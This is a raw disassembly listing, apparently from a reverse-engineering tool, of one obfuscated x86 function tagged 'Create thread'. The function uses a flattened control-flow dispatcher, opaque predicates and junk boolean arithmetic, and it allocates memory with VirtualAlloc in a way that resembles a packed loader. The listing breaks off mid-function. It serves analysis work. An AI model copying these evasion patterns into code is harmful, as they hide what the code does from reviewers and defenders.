Function at 0x4703b0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4e4
xor eax, eax
mov ecx, dword [0x4ac094]
mov edx, dword [0x4ac098]
mov esi, eax
sub esi, 0xc11c7992
add esi, 0
mov edi, ecx
add edi, 0xc9dea3f1
sub edi, esi
sub edi, 0xc9dea3f1
mov esi, eax
sub esi, 0x8887db36
sub edi, esi
sub edi, 0xc2485c16
sub edi, 1
add edi, 0xc2485c16
sub edi, 0xda71b29d
sub edi, 0x8887db36
add edi, 0xda71b29d
sub edi, 0x24f2b712
add edi, 0xb6ad979c
add edi, 0x24f2b712
sub eax, 0xc11c7992
add edi, eax
add edi, 0x297582ff
sub edi, 0xb6ad979c
sub edi, 0x297582ff
imul ecx, edi
and ecx, 1
cmp ecx, 0
sete bl
and bl, 1
mov byte [ebp - 0x22], bl
cmp edx, 0xa
setl bl
and bl, 1
mov byte [ebp - 0x21], bl
mov dword [ebp - 0x28], 0x8dcaffc9
mov eax, dword [ebp - 0x28]
mov ecx, eax
sub ecx, 0x803c32fe
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
je 0x4779ef
jmp 0x47047c
mov eax, dword [ebp - 0x2c]
sub eax, 0x8dcaffc9
mov dword [ebp - 0x34], eax
je 0x470623
jmp 0x470492
mov eax, dword [ebp - 0x2c]
sub eax, 0xb6e700ec
mov dword [ebp - 0x38], eax
je 0x477f75
jmp 0x4704a8
mov eax, dword [ebp - 0x2c]
sub eax, 0xc01018f3
mov dword [ebp - 0x3c], eax
je 0x471142
jmp 0x4704be
mov eax, dword [ebp - 0x2c]
sub eax, 0xc0ea65c0
mov dword [ebp - 0x40], eax
je 0x477e3b
jmp 0x4704d4
mov eax, dword [ebp - 0x2c]
sub eax, 0xd01f2cdd
mov dword [ebp - 0x44], eax
je 0x475611
jmp 0x4704ea
mov eax, dword [ebp - 0x2c]
sub eax, 0xf2d7cf31
mov dword [ebp - 0x48], eax
je 0x477da9
jmp 0x470500
mov eax, dword [ebp - 0x2c]
sub eax, 0xf5d0be18
mov dword [ebp - 0x4c], eax
je 0x471d51
jmp 0x470516
mov eax, dword [ebp - 0x2c]
sub eax, 0xf8fc41fe
mov dword [ebp - 0x50], eax
je 0x47697f
jmp 0x47052c
mov eax, dword [ebp - 0x2c]
sub eax, 0x444439c
mov dword [ebp - 0x54], eax
je 0x4731ea
jmp 0x470542
mov eax, dword [ebp - 0x2c]
sub eax, 0x9cf2b50
mov dword [ebp - 0x58], eax
je 0x475893
jmp 0x470558
mov eax, dword [ebp - 0x2c]
sub eax, 0x18945d52
mov dword [ebp - 0x5c], eax
je 0x47561d
jmp 0x47056e
mov eax, dword [ebp - 0x2c]
sub eax, 0x223ee6e9
mov dword [ebp - 0x60], eax
je 0x477eef
jmp 0x470584
mov eax, dword [ebp - 0x2c]
sub eax, 0x232c8f84
mov dword [ebp - 0x64], eax
je 0x477da1
jmp 0x47059a
mov eax, dword [ebp - 0x2c]
sub eax, 0x297a3391
mov dword [ebp - 0x68], eax
je 0x473cba
jmp 0x4705b0
mov eax, dword [ebp - 0x2c]
sub eax, 0x31ab9227
mov dword [ebp - 0x6c], eax
je 0x477f69
jmp 0x4705c6
mov eax, dword [ebp - 0x2c]
sub eax, 0x3a60ff0a
mov dword [ebp - 0x70], eax
je 0x4718d4
jmp 0x4705dc
mov eax, dword [ebp - 0x2c]
sub eax, 0x457a3973
mov dword [ebp - 0x74], eax
je 0x476973
jmp 0x4705f2
mov eax, dword [ebp - 0x2c]
sub eax, 0x594722de
mov dword [ebp - 0x78], eax
je 0x4718b9
jmp 0x470608
mov eax, dword [ebp - 0x2c]
sub eax, 0x718dbc90
mov dword [ebp - 0x7c], eax
je 0x473205
jmp 0x47061e
jmp 0x477f7c
mov eax, 0xf2d7cf31
mov ecx, 0xc01018f3
mov dl, 1
mov dh, byte [ebp - 0x22]
mov bl, byte [ebp - 0x21]
mov bh, dh
xor bh, 0xff
and bh, 1
mov dword [ebp - 0x80], eax
mov al, dl
xor al, 1
mov ah, dh
and ah, al
or bh, ah
xor bh, 0xff
xor bh, 0
and bh, 0
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
mov byte [ebp - 0x81], al
mov al, ah
and al, 0
mov byte [ebp - 0x82], al
mov al, dl
xor al, 1
and al, 0xff
and ah, 1
mov byte [ebp - 0x83], al
mov al, byte [ebp - 0x81]
mov dword [ebp - 0x88], ecx
mov cl, byte [ebp - 0x82]
or al, cl
mov cl, byte [ebp - 0x83]
or cl, ah
xor al, cl
mov cl, al
xor cl, 0xff
mov ah, dh
xor ah, cl
and ah, dh
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
mov ch, dl
xor ch, 0
mov byte [ebp - 0x89], al
mov al, cl
xor al, ch
and al, cl
mov cl, byte [ebp - 0x89]
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov ch, bh
and ch, ah
xor bh, ah
or ch, bh
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x8a], al
mov al, dl
xor al, 1
mov byte [ebp - 0x8b], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x8c], al
mov al, byte [ebp - 0x8a]
mov byte [ebp - 0x8d], cl
mov cl, byte [ebp - 0x8b]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x8e], al
mov al, byte [ebp - 0x8d]
mov byte [ebp - 0x8f], cl
mov cl, byte [ebp - 0x8b]
and al, cl
mov cl, byte [ebp - 0x8c]
mov byte [ebp - 0x90], al
mov al, byte [ebp - 0x8e]
or cl, al
mov al, byte [ebp - 0x8f]
mov byte [ebp - 0x91], cl
mov cl, byte [ebp - 0x90]
or al, cl
mov cl, byte [ebp - 0x91]
xor cl, al
or ah, bh
xor ah, 0xff
mov al, byte [ebp - 0x8b]
or al, 1
and ah, al
or cl, ah
mov al, ch
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
and ch, ah
mov bh, cl
xor bh, 0xff
and bh, 0
and cl, ah
or al, ch
or bh, cl
xor al, bh
mov cl, bl
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bl
and ch, ah
or cl, ch
mov ah, dl
xor ah, 1
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
xor cl, 0xff
mov ch, bl
xor ch, cl
and ch, bl
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0x92], al
mov al, dl
xor al, 1
and al, 0
and ch, 1
or ah, bh
or al, ch
xor ah, al
mov al, dl
xor al, 1
xor ah, 0xff
mov ch, dl
xor ch, 0
or al, ah
or ch, 0
xor al, 0xff
and al, ch
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bh, ch
and bh, 1
mov byte [ebp - 0x93], al
mov al, dl
xor al, 1
and al, 0
and ch, 1
or ah, bh
or al, ch
xor ah, al
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov al, byte [ebp - 0x93]
xor al, 0xff
mov ch, ah
xor ch, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x94], al
and al, 0xff
mov byte [ebp - 0x95], al
mov al, byte [ebp - 0x93]
and al, bh
mov byte [ebp - 0x96], al
mov al, ch
and al, 0xff
and ah, bh
mov byte [ebp - 0x97], al
mov al, byte [ebp - 0x95]
mov byte [ebp - 0x98], cl
mov cl, byte [ebp - 0x96]
or al, cl
mov cl, byte [ebp - 0x97]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x94]
or cl, ch
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
mov ch, ah
and ch, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or cl, ch
or bh, ah
xor cl, bh
mov ah, byte [ebp - 0x92]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bh, byte [ebp - 0x92]
and bh, ch
mov byte [ebp - 0x99], al
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or ah, bh
or al, cl
xor ah, al
xor ah, 0xff
mov al, byte [ebp - 0x92]
xor al, 0xff
mov cl, dl
xor cl, 0
or ah, al
or cl, 0
xor ah, 0xff
and ah, cl
mov al, byte [ebp - 0x99]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ch, byte [ebp - 0x99]
and ch, cl
or al, ch
mov cl, dh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bh, dh
and bh, ch
mov byte [ebp - 0x9a], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x9b], al
mov al, byte [ebp - 0x9a]
and al, ch
or cl, bh
mov ch, byte [ebp - 0x9b]
or ch, al
xor cl, ch
xor dh, 0xff
mov al, cl
xor al, dh
and al, cl
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
mov ch, byte [ebp - 0x98]
xor ch, 0xff
mov dh, cl
and dh, ch
xor cl, 0xff
mov ch, byte [ebp - 0x98]
and ch, cl
or dh, ch
xor dh, 0xff
mov cl, byte [ebp - 0x98]
xor cl, 0xff
mov ch, dl
xor ch, 1
or dh, cl
or ch, 1
xor dh, 0xff
and dh, ch
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
and bl, ch
or cl, bl
mov ch, byte [ebp - 0x99]
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x99]
and bh, bl
or ch, bh
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x9c], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x9d], al
mov al, dl
xor al, 1
mov byte [ebp - 0x9e], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x9f], al
mov al, byte [ebp - 0x9e]
and cl, al
mov al, byte [ebp - 0x9d]
and al, 0xff
mov byte [ebp - 0xa0], al
mov al, byte [ebp - 0x9e]
and ch, al
mov al, byte [ebp - 0x9f]
or al, cl
mov cl, byte [ebp - 0xa0]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x9d]
or bh, cl
xor bh, 0xff
mov ch, byte [ebp - 0x9e]
or ch, 1
and bh, ch
or al, bh
mov ch, dl
xor ch, 1
mov bh, bl
xor bh, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0xa1], al
mov al, ch
and al, 0
mov byte [ebp - 0xa2], al
mov al, cl
and al, 1
mov byte [ebp - 0xa3], al
mov al, bh
and al, 0
and bl, cl
mov byte [ebp - 0xa4], al
mov al, byte [ebp - 0xa2]
mov byte [ebp - 0xa5], cl
mov cl, byte [ebp - 0xa3]
or al, cl
mov cl, byte [ebp - 0xa4]
or cl, bl
xor al, cl
or ch, bh
xor ch, 0xff
mov cl, byte [ebp - 0xa5]
or cl, 0
and ch, cl
or al, ch
mov cl, byte [ebp - 0xa1]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0xa1]
and bl, ch
or cl, bl
xor cl, 0xff
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, ah
xor al, 0xff
mov ch, byte [ebp - 0x9c]
xor ch, 0xff
mov bl, dl
xor bl, 1
or al, ch
or bl, 1
xor al, 0xff
and al, bl
mov ch, ah
xor ch, 0xff
and ch, 1
mov bl, dl
xor bl, 1
and ah, bl
mov bh, byte [ebp - 0x9c]
xor bh, 0xff
and bh, 0xff
mov byte [ebp - 0xa6], al
mov al, byte [ebp - 0x9c]
and al, bl
or ch, ah
or bh, al
xor ch, bh
mov al, byte [ebp - 0xa6]
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0xa7], al
mov al, byte [ebp - 0xa6]
and al, bl
mov byte [ebp - 0xa8], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0xa9], al
mov al, byte [ebp - 0xa8]
or bh, al
mov al, byte [ebp - 0xa9]
or al, ch
xor bh, al
mov al, byte [ebp - 0xa7]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, dh
xor al, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 1
or al, ah
or ch, 1
xor al, 0xff
and al, ch
mov ah, dh
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
and dh, ch
mov bl, cl
xor bl, 0xff
and bl, 0xff
and cl, ch
or ah, dh
or bl, cl
xor ah, bl
mov cl, al
xor cl, 0xff
mov ch, ah
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, cl
and bl, 0
and al, dh
mov byte [ebp - 0xaa], al
mov al, ch
and al, 0
and ah, dh
mov byte [ebp - 0xab], al
mov al, byte [ebp - 0xaa]
or bl, al
mov al, byte [ebp - 0xab]
or al, ah
xor bl, al
or cl, ch
xor cl, 0xff
or dh, 0
and cl, dh
or bl, cl
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, bh
and ah, cl
or al, ah
xor al, 0xff
xor al, 0
and al, 0
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
and ah, 0
or cl, ah
xor bh, 0xff
mov ah, cl
xor ah, 0xff
mov ch, dl
xor ch, 0
or bh, ah
or ch, 0
xor bh, 0xff
and bh, ch
mov ah, bl
xor ah, 0xff
and ah, 0
mov ch, dl
xor ch, 0
mov dh, bl
and dh, ch
mov byte [ebp - 0xac], al
mov al, dl
xor al, 1
and al, 0
and ch, 1
or ah, dh
or al, ch
xor ah, al
xor ah, 0xff
mov al, dl
xor al, 0
mov ch, dl
xor ch, 1
or ah, al
or ch, 1
xor ah, 0xff
and ah, ch
xor bl, 0xff
xor cl, 0xff
mov al, dl
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, byte [ebp - 0xac]
xor al, 0xff
mov cl, bh
xor cl, 0xff
mov ch, dl
xor ch, 1
mov dh, al
and dh, 0xff
mov byte [ebp - 0xad], al
mov al, byte [ebp - 0xac]
and al, ch
mov byte [ebp - 0xae], al
mov al, cl
and al, 0xff
and bh, ch
mov byte [ebp - 0xaf], al
mov al, byte [ebp - 0xae]
or dh, al
mov al, byte [ebp - 0xaf]
or al, bh
xor dh, al
mov al, byte [ebp - 0xad]
or al, cl
xor al, 0xff
or ch, 1
and al, ch
or dh, al
mov al, ah
xor al, 0xff
mov cl, bl
xor cl, 0xff
mov ch, dl
xor ch, 1
mov bh, al
and bh, 0xff
and ah, ch
mov byte [ebp - 0xb0], al
mov al, cl
and al, 0xff
and bl, ch
or bh, ah
or al, bl
xor bh, al
mov al, byte [ebp - 0xb0]
or al, cl
xor al, 0xff
or ch, 1
and al, ch
or bh, al
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and dh, cl
mov ah, bh
xor ah, 0xff
and ah, 0xff
and bh, cl
or al, dh
or ah, bh
xor al, ah
mov cl, byte [ebp - 0x98]
xor cl, 0xff
mov ah, byte [ebp - 0x92]
xor ah, cl
mov cl, byte [ebp - 0x92]
and ah, cl
xor cl, 0xff
mov ch, byte [ebp - 0x98]
and ch, cl
mov cl, byte [ebp - 0x98]
xor cl, 0xff
mov dh, byte [ebp - 0x92]
and dh, cl
or ch, dh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
xor ah, 0xff
mov dh, dl
xor dh, 1
or ch, ah
or dh, 1
xor ch, 0xff
and ch, dh
mov ah, dl
xor ah, 1
and ah, 0
mov dh, dl
xor dh, 0
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
xor ah, 0xff
mov dh, cl
xor dh, ah
and dh, cl
mov cl, ch
xor cl, 0xff
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
and ch, bl
mov byte [ebp - 0xb1], al
mov al, ah
and al, 0
and dh, bl
or bh, ch
or al, dh
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, dl
xor al, 1
mov cl, byte [ebp - 0x99]
xor cl, 0xff
mov ah, dl
xor ah, 1
or al, cl
or ah, 1
xor al, 0xff
and al, ah
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x99]
and ah, cl
mov cl, byte [ebp - 0x99]
xor cl, 0xff
and cl, 1
or ah, cl
mov cl, al
and cl, ah
xor al, ah
or cl, al
mov al, cl
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and cl, ah
mov ch, dl
xor ch, 1
and ch, 0xff
and ah, 1
or al, cl
or ch, ah
xor al, ch
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bh
and ch, ah
mov dh, al
xor dh, 0xff
and dh, 0xff
and al, ah
or cl, ch
or dh, al
xor cl, dh
xor cl, 0xff
xor bh, 0xff
mov al, dl
xor al, 1
or cl, bh
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0xb1]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0xb1]
and ch, ah
or al, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 0
and ch, 1
mov dh, dl
xor dh, 1
and dh, 0
or ch, dh
mov dh, dl
xor dh, 0
mov bl, al
xor bl, dh
and bl, al
mov dh, ch
xor dh, 0xff
mov bh, byte [ebp - 0xb1]
xor bh, dh
mov dh, byte [ebp - 0xb1]
and bh, dh
mov dh, ah
xor dh, 0xff
mov byte [ebp - 0xb2], al
mov al, dl
xor al, 0
mov byte [ebp - 0xb3], al
mov al, dl
xor al, 1
mov byte [ebp - 0xb4], al
mov al, byte [ebp - 0xb3]
or dh, al
mov al, byte [ebp - 0xb4]
or al, 1
xor dh, 0xff
and dh, al
mov al, ch
xor al, 0xff
mov byte [ebp - 0xb5], al
mov al, cl
mov byte [ebp - 0xb6], cl
mov cl, byte [ebp - 0xb5]
xor al, cl
mov cl, byte [ebp - 0xb6]
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0xb7], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0xb8], al
mov al, dl
xor al, 0
mov byte [ebp - 0xb9], al
mov al, cl
and al, 0
mov byte [ebp - 0xba], al
mov al, byte [ebp - 0xb9]
and bl, al
mov al, byte [ebp - 0xb8]
and al, 0
mov byte [ebp - 0xbb], al
mov al, byte [ebp - 0xb9]
and bh, al
mov al, byte [ebp - 0xba]
or al, bl
mov bl, byte [ebp - 0xbb]
or bl, bh
xor al, bl
mov bl, byte [ebp - 0xb8]
or cl, bl
xor cl, 0xff
mov bh, byte [ebp - 0xb9]
or bh, 0
and cl, bh
or al, cl
mov cl, dh
xor cl, 0xff
mov bh, byte [ebp - 0xb7]
xor bh, 0xff
mov bl, dl
xor bl, 0
mov byte [ebp - 0xbc], al
mov al, cl
and al, 0
and dh, bl
mov byte [ebp - 0xbd], al
mov al, bh
and al, 0
mov byte [ebp - 0xbe], al
mov al, byte [ebp - 0xb7]
and al, bl
mov byte [ebp - 0xbf], al
mov al, byte [ebp - 0xbd]
or al, dh
mov dh, byte [ebp - 0xbe]
mov byte [ebp - 0xc0], al
mov al, byte [ebp - 0xbf]
or dh, al
mov al, byte [ebp - 0xc0]
xor al, dh
or cl, bh
xor cl, 0xff
or bl, 0
and cl, bl
or al, cl
mov cl, byte [ebp - 0xbc]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0xbc]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, dh
or cl, bl
or bh, al
xor cl, bh
mov al, byte [ebp - 0xb2]
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0xc1], al
mov al, byte [ebp - 0xb2]
and al, bl
mov byte [ebp - 0xc2], al
mov al, dh
and al, 0xff
and ah, bl
mov byte [ebp - 0xc3], al
mov al, byte [ebp - 0xc2]
or bh, al
mov al, byte [ebp - 0xc3]
or al, ah
xor bh, al
mov al, byte [ebp - 0xc1]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and bh, ah
or al, bh
mov ah, ch
and ah, 0
xor ch, 0
or ah, ch
xor ah, 0xff
mov ch, al
xor ch, ah
and ch, al
mov al, cl
xor al, 0xff
mov ah, ch
xor ah, 0xff
xor dl, 0
mov dh, al
and dh, 0
and cl, dl
mov bl, ah
and bl, 0
and ch, dl
or dh, cl
or bl, ch
xor dh, bl
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or dh, al
test dh, 1
mov esi, dword [ebp - 0x80]
mov edi, dword [ebp - 0x88]
cmovne esi, edi
mov dword [ebp - 0x28], esi
jmp 0x477f7c
lea eax, str.jR2V5dCirOxvIZeNAyPbRhnY
push eax
mov ecx, esp
mov dword [ebp - 0x20], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x1c], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x18], ecx
push eax
mov ecx, esp
mov dword [ebp - 0x14], ecx
sub esp, 4
mov dword [esp], eax
call fcn.0046f170
add esp, 4
xor ecx, ecx
mov edx, 0x2d200
mov esi, 0x3000
mov edi, 4
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2d200
mov dword [esp + 8], 0x3000
mov dword [esp + 0xc], 4
mov dword [ebp - 0xc8], edi
mov dword [ebp - 0xcc], ecx
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0xd4], esi
call sub.KERNEL32.dll_VirtualAlloc
mov ecx, 0xf2d7cf31
mov edx, 0x594722de
mov bl, 1
xor esi, esi
mov edi, dword [ebp - 0x1c]
mov dword [edi], eax
mov eax, dword [ebp - 0x1c]
cmp dword [eax], 0
setne bh
and bh, 1
mov byte [ebp - 0xe], bh
mov eax, dword [0x4ac094]
mov edi, dword [0x4ac098]
mov dword [ebp - 0xd8], eax
mov eax, esi
sub eax, 0xfb375c7e
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xe0], ecx
mov ecx, dword [ebp - 0xdc]
sub eax, ecx
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x3b09524e
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0xfb375c7e
add eax, ecx
mov ecx, esi
sub ecx, 0xdcca1fb3
add eax, ecx
add eax, 0xe42cac65
sub eax, 1
sub eax, 0xe42cac65
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0xdcca1fb3
add ecx, eax
mov eax, esi
sub eax, ecx
sub esi, 0x58f22f0a
sub esi, 0x3b09524e
add esi, 0x58f22f0a
add eax, 0xf75839bf
add eax, esi
sub eax, 0xf75839bf
mov ecx, dword [ebp - 0xd8]
imul ecx, eax
and ecx, 1
cmp ecx, 0
sete bh
cmp edi, 0xa
setl al
mov ah, bh
xor ah, 0xff
and ah, 1
mov cl, bl
xor cl, 1
mov ch, bh
and ch, cl
mov byte [ebp - 0xe1], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
or ah, ch
or al, cl
xor ah, al
mov al, byte [ebp - 0xe1]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0xe1]
and ch, cl
mov byte [ebp - 0xe2], al
mov al, bl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0xe3], al
mov al, byte [ebp - 0xe2]
or al, ch
mov ch, byte [ebp - 0xe3]
or ch, cl
xor al, ch
mov cl, bl
xor cl, 0
and cl, 1
mov ch, bl
xor ch, 1
mov byte [ebp - 0xe4], al
mov al, ch
and al, 0
mov byte [ebp - 0xe5], al
mov al, bl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0xe6], al
mov al, byte [ebp - 0xe5]
or cl, al
mov al, byte [ebp - 0xe6]
or al, ch
xor cl, al
mov al, ah
mov ch, byte [ebp - 0xe4]
and al, ch
xor ah, ch
or al, ah
mov ah, bl
xor ah, 0
mov ch, cl
xor ch, 0xff
mov byte [ebp - 0xe7], al
mov al, bl
xor al, 0
mov byte [ebp - 0xe8], al
mov al, ah
and al, 0
mov byte [ebp - 0xe9], al
mov al, byte [ebp - 0xe8]
and al, 0
mov byte [ebp - 0xea], al
mov al, ch
and al, 0
mov byte [ebp - 0xeb], al
mov al, byte [ebp - 0xe8]
and cl, al
mov al, byte [ebp - 0xe9]
mov byte [ebp - 0xec], cl
mov cl, byte [ebp - 0xea]
or al, cl
mov cl, byte [ebp - 0xeb]
mov byte [ebp - 0xed], al
mov al, byte [ebp - 0xec]
or cl, al
mov al, byte [ebp - 0xed]
xor al, cl
or ah, ch
xor ah, 0xff
mov cl, byte [ebp - 0xe8]
or cl, 0
and ah, cl
or al, ah
mov cl, byte [ebp - 0xe7]
xor cl, 0xff
and cl, 0
mov ah, bl
xor ah, 0
mov ch, byte [ebp - 0xe7]
and ch, ah
mov byte [ebp - 0xee], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
or cl, ch
or al, ah
xor cl, al
xor cl, 0xff
mov al, byte [ebp - 0xee]
xor al, 0xff
mov ah, bl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, bh
xor al, 0xff
and al, 0
mov ah, bl
xor ah, 0
mov ch, bh
and ch, ah
mov byte [ebp - 0xef], al
mov al, bl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0xf0], al
mov al, byte [ebp - 0xef]
or al, ch
mov ch, byte [ebp - 0xf0]
or ch, ah
xor al, ch
mov ah, bl
xor ah, 0
xor al, 0xff
mov ch, bl
xor ch, 0
or ah, al
or ch, 0
xor ah, 0xff
and ah, ch
mov al, bl
xor al, 0
and al, 1
mov ch, bl
xor ch, 1
and ch, 0
or al, ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0xf1], al
mov al, bh
xor al, ch
and al, bh
mov ch, byte [ebp - 0xe1]
xor ch, 0xff
and ch, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0xf2], al
mov al, byte [ebp - 0xe1]
and al, bh
or ch, al
xor ch, 0xff
mov al, bl
xor al, 0
mov bh, bl
xor bh, 1
or ch, al
or bh, 1
xor ch, 0xff
and ch, bh
mov al, byte [ebp - 0xf1]
xor al, 0xff
mov bh, byte [ebp - 0xe1]
xor bh, al
mov al, byte [ebp - 0xe1]
and bh, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0xf3], al
mov al, byte [ebp - 0xf2]
xor al, 0xff
mov byte [ebp - 0xf4], al
mov al, bl
xor al, 1
mov byte [ebp - 0xf5], al
mov al, byte [ebp - 0xf3]
and al, 0xff
mov byte [ebp - 0xf6], al
mov al, byte [ebp - 0xf5]
and ah, al
mov al, byte [ebp - 0xf4]
and al, 0xff
mov byte [ebp - 0xf7], al
mov al, byte [ebp - 0xf2]
mov byte [ebp - 0xf8], cl
mov cl, byte [ebp - 0xf5]
and al, cl
mov cl, byte [ebp - 0xf6]
or cl, ah
mov ah, byte [ebp - 0xf7]
or ah, al
xor cl, ah
mov al, byte [ebp - 0xf3]
mov ah, byte [ebp - 0xf4]
or al, ah
xor al, 0xff
mov ah, byte [ebp - 0xf5]
or ah, 1
and al, ah
or cl, al
mov al, ch
xor al, 0xff
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xf9], al
mov al, bl
xor al, 0
mov byte [ebp - 0xfa], al
mov al, byte [ebp - 0xf9]
and al, 0
mov byte [ebp - 0xfb], al
mov al, byte [ebp - 0xfa]
and ch, al
mov al, ah
and al, 0
mov byte [ebp - 0xfc], al
mov al, byte [ebp - 0xfa]
and bh, al
mov al, byte [ebp - 0xfb]
or al, ch
mov ch, byte [ebp - 0xfc]
or ch, bh
xor al, ch
mov ch, byte [ebp - 0xf9]
or ch, ah
xor ch, 0xff
mov ah, byte [ebp - 0xfa]
or ah, 0
and ch, ah
or al, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, bl
xor ch, 1
and cl, ch
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ch
or ah, cl
or bh, al
xor ah, bh
mov al, byte [ebp - 0xf8]
xor al, 0xff
and al, 1
mov cl, bl
xor cl, 1
mov ch, byte [ebp - 0xf8]
and ch, cl
or al, ch
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, bl
xor ch, 1
mov bh, ah
and bh, ch
or cl, bh
mov ch, bl
xor ch, 1
and ch, 1
mov bh, bl
xor bh, 1
mov byte [ebp - 0xfd], al
mov al, bh
and al, 1
mov byte [ebp - 0xfe], al
mov al, bl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0xff], al
mov al, byte [ebp - 0xfe]
or ch, al
mov al, byte [ebp - 0xff]
